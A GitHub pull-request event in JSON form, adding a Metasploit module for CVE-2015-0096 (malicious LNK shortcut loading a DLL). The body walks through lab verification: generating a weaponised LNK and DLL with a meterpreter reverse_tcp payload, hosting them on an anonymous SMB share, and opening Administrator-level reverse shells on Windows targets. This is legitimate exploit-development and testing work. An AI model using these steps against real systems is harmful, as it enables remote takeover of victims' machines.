{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4911","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4911/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4911/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4911/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/4911","id":60747933,"number":4911,"title":"Add module for CVE-2015-0096 (LNK Stuxnet again)","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/hotness","name":"hotness","color":"8A0808"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"closed","locked":false,"assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":6,"created_at":"2015-03-11T23:34:11Z","updated_at":"2015-03-13T12:30:32Z","closed_at":"2015-03-12T15:53:22Z","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4911","html_url":"https://github.com/rapid7/metasploit-framework/pull/4911","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4911.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4911.patch"},"body":"Full history here: http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459\r\n\r\nAt the moment it's a FILEFORMAT exploit, because it needs to provide two files through a shared resource, so the existing SMB mixin should allow it. I would need to work into it. But providing the FILEFORMAT exploit atm so people can test in the meanwhile.\r\n\r\n**UPDATE: This pull request includes the FILEFORMAT exploit, and a first SMB version for both MS10-046 and MS15-020**\r\n\r\nIt means you need to deploy your own shared resource, I've used a SAMBA server with an anonymous resource for testing.\r\n\r\nI've tested on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with ms14-027 installed. I hadn't time to test other Operating systems. But I guess can be useful already for people :)\r\n\r\nVerification\r\n--------\r\n\r\n- [x] Install a Windows 2003 SP2 (32 bits) machine (target)\r\n- [x] Install the MS10-046 patch (the stuxnet lnk vuln) in the target.\r\n- [x] Prepare a machine to provide files through SMB without authentication. I'm sharing the \\\\172.16.158.132\\share resource in this example.\r\n- [x] Run the fileformat exploit to generate the required files, fill the UNC options (UNCHOST and UNCSHARE) according to the point above\r\n\r\n```\r\nmsf > use exploit/windows/fileformat/ms15_020_shortcut_icon_dllloader\r\nmerge cleanup\r\nmsf exploit(ms15_020_shortcut_icon_dllloader) > set payload windows/meterpreter/reverse_tcp\r\npayload => windows/meterpreter/reverse_tcp\r\nmsf exploit(ms15_020_shortcut_icon_dllloader) > set lhost 172.16.158.1\r\nlhost => 172.16.158.1\r\nmsf exploit(ms15_020_shortcut_icon_dllloader) > set UNCHOST 172.16.158.132\r\nUNCHOST => 172.16.158.132\r\nmsf exploit(ms15_020_shortcut_icon_dllloader) > set UNCSHARE share\r\nUNCSHARE => share\r\nmsf exploit(ms15_020_shortcut_icon_dllloader) > rexploit\r\n[*] Reloading module...\r\n\r\n[+] DLL with payload stored at /Users/jvazquez/.msf4/local/L.dll\r\n[+] Fake dll to exploit stored at /Users/jvazquez/.msf4/local/L VgjPFAdiftTsRvliDKHDfoPlQwAotMALMZwEKxbOjgKuGVbSCsfNXRxxEWCffFHwyoAZWYxkbNFPrBmcWPoaJIEubtJRYjstkBlZZstwJvFOoUBKVWNKrKORQyAUiMaRTnwBuEyXQgVZZxKLfaniKBvtfwomubxmATAphctNCtLkKnWNJJvwBwmAQCMTEfqMYsgtUXWbKaAvNYbUUHfAxsAetJGcbYSasYpU.dll\r\n[+] msf.lnk stored at /Users/jvazquez/.msf4/local/msf.lnk\r\n```\r\n- [x] Run a handler to listen for sessions\r\n\r\n```\r\nmsf exploit(handler) > show options\r\n\r\nModule options (exploit/multi/handler):\r\n\r\n   Name  Current Setting  Required  Description\r\n   ----  ---------------  --------  -----------\r\n\r\n\r\nPayload options (windows/meterpreter/reverse_tcp):\r\n\r\n   Name      Current Setting  Required  Description\r\n   ----      ---------------  --------  -----------\r\n   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)\r\n   LHOST     172.16.158.1     yes       The listen address\r\n   LPORT     4444             yes       The listen port\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Wildcard Target\r\n\r\n\r\nmsf exploit(handler) > rexploit\r\n[*] Reloading module...\r\n```\r\n\r\n- [x] Upload the **three** generated files to the shared resource (it's just for this example, you could just upload the DLL's and provide the LNK to the target by other ways)\r\n\r\n```\r\naus-mac-0916:local jvazquez$ scp *.dll juan@172.16.158.132:/share\r\njuan@172.16.158.132's password:\r\nL VgjPFAdiftTsRvliDKHDfoPlQwAotMALMZwEKxbOjgKuGVbSCsfNXRxxEWCffFHwyoAZW 100% 5120     5.0KB/s   00:00\r\nL.dll                                                                   100% 5120     5.0KB/s   00:00\r\naus-mac-0916:local jvazquez$ scp msf.lnk juan@172.16.158.132:/share\r\njuan@172.16.158.132's password:\r\nmsf.lnk                                                                 100%  662     0.7KB/s   00:00\r\n```\r\n\r\n* On the victim, from Windows Explorer, visit the folder with the malicious LNK and DLL's `\\\\172.16.158.132\\shared` (on real live you could distribute the LNK by other ways). Just an example.\r\n\r\n* Hopefully enjoy sessions on the handler\r\n\r\n```\r\nmsf exploit(handler) > exploit\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\n[*] Starting the payload handler...\r\n[*] Sending stage (770048 bytes) to 172.16.158.135\r\n[*] Meterpreter session 11 opened (172.16.158.1:4444 -> 172.16.158.135:64131) at 2015-03-11 18:10:56 -0500\r\n\r\nmeterpreter > getuid\r\nServer username: DEMO\\Administrator\r\nmeterpreter > sysinfo\r\nComputer        : WIN-F46QAN3U3UH\r\nOS              : Windows 2008 (Build 6002, Service Pack 2).\r\nArchitecture    : x86\r\nSystem Language : en_US\r\nMeterpreter     : x86/win32\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 172.16.158.135 - Meterpreter session 11 closed.  Reason: User exit\r\nmsf exploit(handler) > exploit\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\n[*] Starting the payload handler...\r\n[*] Sending stage (770048 bytes) to 172.16.158.135\r\n[*] Meterpreter session 12 opened (172.16.158.1:4444 -> 172.16.158.135:49208) at 2015-03-11 18:20:28 -0500\r\n\r\nmeterpreter > getuid\r\nServer username: DEMO\\Administrator\r\nmeterpreter > sysinfo\r\nComputer        : WIN-F46QAN3U3UH\r\nOS              : Windows 2008 (Build 6002, Service Pack 2).\r\nArchitecture    : x86\r\nSystem Language : en_US\r\nMeterpreter     : x86/win32\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 172.16.158.135 - Meterpreter session 12 closed.  Reason: User exit\r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/78950274","html_url":"https://github.com/rapid7/metasploit-framework/pull/4911#issuecomment-78950274","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4911","id":78950274,"user":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"created_at":"2015-03-13T12:30:32Z","updated_at":"2015-03-13T12:30:32Z","body":"I'd recommend _never_ trusting payloads that other people send you. **Always** create your own.\r\n\r\nIn future, can you please use [Security Street](https://community.rapid7.com/welcome) as a place to source support from MSF devs and users rather than Github pull requests. Thank you."}}